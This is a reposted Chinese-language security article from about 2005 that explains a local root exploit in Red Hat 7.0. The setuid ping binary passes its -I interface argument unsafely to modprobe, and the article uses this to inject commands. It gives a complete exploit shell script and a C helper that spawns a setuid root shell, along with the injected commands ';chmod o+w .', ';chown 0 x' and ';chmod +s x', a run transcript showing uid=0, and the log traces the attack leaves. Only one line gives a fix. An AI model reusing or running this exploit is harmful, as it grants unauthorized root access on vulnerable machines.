您的位置:首页 > 文档 > 网络安全 >
 文章分类 

redhat7本地利用ping拿root漏洞详析


创建:2005-11-07 00:00:00
作者:Unlinux
来自: http://www.Unlinux.com

首先声明,本人及本人所在公司盖不对利用此漏洞所造成的损失负责。攻击代码不长,可以用shell或perl

来编写,推荐用shell写。

原理:
也许是redhat7的重大漏洞吧,他的ping程序的-I参数指定interface时通过modprobe和insmod执行任意代

码,大家都知道ping程序的权位是这样的:
[Hello!sune4gle]$ ls -l /bin/ping
-rwsr-xr-x 1 root root 20604 Aug 8 2000 /bin/ping
ping程序调用了raw_socket的所有setuid位,呵呵,我们可以通过用ping的-I参数来ping一个不存在的ip

,当然ip前面的参数是关键,也就是我们的执行命令,s权位令我们以普通权限的uid来运行ping时的euid

为0,所以实际上我们在运行ping的一瞬间是以超级拥护的权限在执行命令的。这样如果我们运行如下的命

令的话:
[Hello!sune4gle]$ping -I ';chmod o+w .' 195.117.3.59 &>/dev/null
就是把当前目录对其他用户可写了,呵呵,当然我们可以利用sleep语句来使该进程等待,利用等待的时间

我们可以写一个c程序,让他编译并且运行:
cat >/x.c <<_eof_
main() {
setuid(0); seteuid(0);
system("chmod 755 /;rm -f /x; rm -f /x.c");
execl("/bin/bash","bash","-i",0);
}
_eof_

gcc /x.c -o /x
chmod 755 /x
到这里大家应该都明白了吧?呵呵在/下创建x.c文件,并且编译,使它也拥有s权位,呵呵就使一个setuid

的rootshell啦,以下是写好的攻击代码:
#!/bin/sh
echo
echo "RedHat 7.0 exploit"
echo "(c) 2000 suneagle <suneagle@patching.net>"
echo
echo "Enjoy hacking! :)"
echo

PING=/bin/ping
test -u $PING || PING=/bin/ping

if [ ! -u $PING ]; then
echo "Sorry, no setuid ping."
exit 0
fi

echo "Phase 1: making / world-writable..."

$PING -I ';chmod o+w .' 195.117.3.59 &>/dev/null

sleep 1

echo "Phase 2: compiling helper program in /..."

cat >/x.c <<_eof_
main() {
setuid(0); seteuid(0);
system("chmod 755 /;rm -f /x; rm -f /x.c");
execl("/bin/bash","bash","-i",0);
}
_eof_

gcc /x.c -o /x
chmod 755 /x

echo "Phase 3: chown+chmod on our helper program..."

$PING -I ';chown 0 x' 202.102.3.1 &>/dev/null
sleep 1
$PING -I ';chmod +s x' 202.101.23.1 &>/dev/null
sleep 1

if [ ! -u /x ]; then
echo "Apparently, this is not exploitable on this system :("
exit 1
fi

echo "Ye! Entering rootshell..."

/x

echo "Thank you."

哈哈,好,我把这个shell程序在redhat7下的运行测试结果贴出来:
首先我得有个普通帐户,嘿嘿
[Hello!sune4gle]$ ./getroot.sh

RedHat 7.0 exploit
(c) 2000 suneagle <suneagle@patching.net>

Enjoy hacking! :)

Phase 1: making / world-writable...
Phase 2: compiling helper program in /...
Phase 3: chown+chmod on our helper program...
Ye! Entering rootshell...
[Hello!root]# id
uid=0(root) gid=500(sune4gle) groups=500(sune4gle)
[Hello!root]#
攻击后的log:
Feb 24 11:16:27 sune4gle modprobe: modprobe: insmod ;chmod o+w . failed
Feb 24 11:16:30 sune4gle modprobe: modprobe: insmod ;chown 0 x failed
Feb 24 11:16:31 sune4gle modprobe: modprobe: insmod ;chmod +s x failed
解决方法:
去掉或限制ping程序的setuid位
[Hello!sune4gle]# chmod 655 /bin/ping



原作者:大鹰


转载自:http://www.unlinux.com/doc/security/20051107/8367.html

评论】 【加入收藏夹】 【 】 【打印】 【关闭
 *  请尊重我们的劳动,转载请注明出自UnLinux.Com及作者名 * 

※ 相关链接
 ·在Redhat 7.2下架设vpn的经历  (2005-10-28 00:34:16)
 ·redhat 7.2下面配置VPN客户端理论联系实际!  (2005-10-28 00:34:16)
 ·双Linux系统安装:Redhat+Debian  (2005-10-28 00:34:15)
 ·SONY笔记本SR19GT安装RedHat9.0  (2005-10-28 00:08:46)
 ·终于解决了我的 intel ham 5628D-L-A芯片的猫在redhat 8.0下安装的问题  (2005-10-28 00:08:46)
 ·一个linux菜鸟在redhat7.3下驱动ac97的经历  (2005-10-28 00:08:36)
 ·redhat 9 如何配置红外线/串口数据线/蓝牙/PCMCIA GPRS数据卡  (2005-10-28 00:08:36)
 ·redhat测试版fedora安装nvidia驱动记  (2005-10-28 00:08:36)
 ·在mandrake和redhat下安装Alcatel usb adsl modem  (2005-10-28 00:08:24)
 ·K7N2G的nforce2 芯片组 redhat9 安装实例  (2005-10-28 00:08:09)

Copyright © 2005 UnLinux.Com All Rights Reserved